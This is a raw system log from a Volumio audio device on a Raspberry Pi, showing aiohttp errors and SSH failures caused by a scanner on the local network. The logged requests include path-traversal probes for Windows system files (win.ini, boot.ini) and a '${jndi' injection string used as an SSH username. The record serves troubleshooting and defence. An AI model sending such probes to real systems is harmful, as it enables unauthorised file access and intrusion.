16 06:20:15 main-office volumio[1613]: File "aiohttp/_http_parser.pyx", line 558, in aiohttp._http_parser.HttpParser.feed_data Oct 16 06:20:15 main-office volumio[1613]: aiohttp.http_exceptions.InvalidURLError: 400, message: Oct 16 06:20:15 main-office volumio[1613]: Unexpected start char in url: Oct 16 06:20:15 main-office volumio[1613]: b'GET ..\\..\\..\\..\\..\\..\\windows\\win.ini HTTP/1.1' Oct 16 06:20:15 main-office volumio[1613]: ^ Oct 16 06:20:15 main-office volumio[1613]: ERROR:aiohttp.server:Error handling request from 192.168.102.3 Oct 16 06:20:15 main-office volumio[1613]: Traceback (most recent call last): Oct 16 06:20:15 main-office volumio[1613]: File "/data/plugins/audio_interface/fusiondsp/cgui/lib/python3.11/site-packages/aiohttp/web_protocol.py", line 380, in data_received Oct 16 06:20:15 main-office volumio[1613]: messages, upgraded, tail = self._request_parser.feed_data(data) Oct 16 06:20:15 main-office volumio[1613]: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Oct 16 06:20:15 main-office volumio[1613]: File "aiohttp/_http_parser.pyx", line 558, in aiohttp._http_parser.HttpParser.feed_data Oct 16 06:20:15 main-office volumio[1613]: aiohttp.http_exceptions.InvalidURLError: 400, message: Oct 16 06:20:15 main-office volumio[1613]: Unexpected start char in url: Oct 16 06:20:15 main-office volumio[1613]: b'GET ..\\..\\..\\..\\..\\..\\winnt\\win.ini HTTP/1.1' Oct 16 06:20:15 main-office volumio[1613]: ^ Oct 16 06:20:16 main-office sshd[5359]: Connection reset by 192.168.102.3 port 37996 [preauth] Oct 16 06:20:17 main-office sshd[5354]: Failed password for invalid user ${jndi from 192.168.102.3 port 37968 ssh2 Oct 16 06:20:17 main-office volumio[1613]: ERROR:aiohttp.server:Error handling request from 192.168.102.3 Oct 16 06:20:17 main-office volumio[1613]: Traceback (most recent call last): Oct 16 06:20:17 main-office volumio[1613]: File "/data/plugins/audio_interface/fusiondsp/cgui/lib/python3.11/site-packages/aiohttp/web_protocol.py", line 380, in data_received Oct 16 06:20:17 main-office volumio[1613]: messages, upgraded, tail = self._request_parser.feed_data(data) Oct 16 06:20:17 main-office volumio[1613]: ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ Oct 16 06:20:17 main-office volumio[1613]: File "aiohttp/_http_parser.pyx", line 558, in aiohttp._http_parser.HttpParser.feed_data Oct 16 06:20:17 main-office volumio[1613]: aiohttp.http_exceptions.InvalidURLError: 400, message: Oct 16 06:20:17 main-office volumio[1613]: Unexpected char in url schema: Oct 16 06:20:17 main-office volumio[1613]: b'GET c:\\boot.ini HTTP/1.1' Oct 16 06:20:17 main-office volumio[1613]: ^ Oct 16 06:20:18 main-office sshd[5354]: Connection reset by invalid user ${jndi 192.168.102.3 port 37968 [preauth] Oct 16 06:20:21 main-office volumio[1160]: |||||||||||||||||||||||| WARNING: FATAL ERROR ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| Oct 16 06:20:21 main-office volumio[1160]: Error: read ECONNRESET Oct 16 06:20:21 main-office volumio[1160]: at TCP.onStreamRead (node:internal/stream_base_commons:217:20) { Oct 16 06:20:21 main-office volumio[1160]: errno: -104, Oct 16 06:20:21 main-office volumio[1160]: code: 'ECONNRESET', Oct 16 06:20:21 main-office volumio[1160]: syscall: 'read' Oct 16 06:20:21 main-office volumio[1160]: } Oct 16 06:20:21 main-office volumio[1160]: ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| Oct 16 06:20:22 main-office sudo[5376]: volumio : PWD=/ ; USER=root ; COMMAND=/bin/journalctl '--since=2026-10-16 06:19' Oct 16 06:20:22 main-office sudo[5376]: pam_unix(sudo:session): session opened for user root(uid=0) by (uid=1000) PRETTY_NAME="Raspbian GNU/Linux 12 (bookworm)" NAME="Raspbian GNU/Linux" VERSION_ID="12" VERSION="12 (bookworm)" VERSION_CODENAME=bookworm ID=raspbian ID_LIKE=debian HOME_URL="http://www.raspbian.org/" SUPPORT_URL="http://www.raspbian.org/RaspbianForums" BUG_REPORT_URL="http://www.raspbian.org/RaspbianBugs" VOLUMIO_BUILD_VERSION="18952480e8d8c63f22208e9007a0f47a9563eae6" VOLUMIO_FE_VERSION="35f8f4439f0076a62fefa72fd80b70701b3d6cbd" VOLUMIO_FE3_VERSION="bcca17b6b6b26edfb999e6fd7da1b222a88a61d2" VOLUMIO_BE_VERSION="0e58f1861fa88e02087981b8d91f7511f0e7011b" VOLUMIO_ARCH="arm" VOLUMIO_VARIANT="volumio" VOLUMIO_TEST="FALSE" VOLUMIO_BUILD_DATE="Tue Mar 24 17:20:52 UTC 2026" VOLUMIO_VERSION="4.119" VOLUMIO_HARDWARE="pi" VOLUMIO_DEVICENAME="Raspberry Pi" VOLUMIO_HASH="d0c2fd9dbc5e70e58c32413c12353563"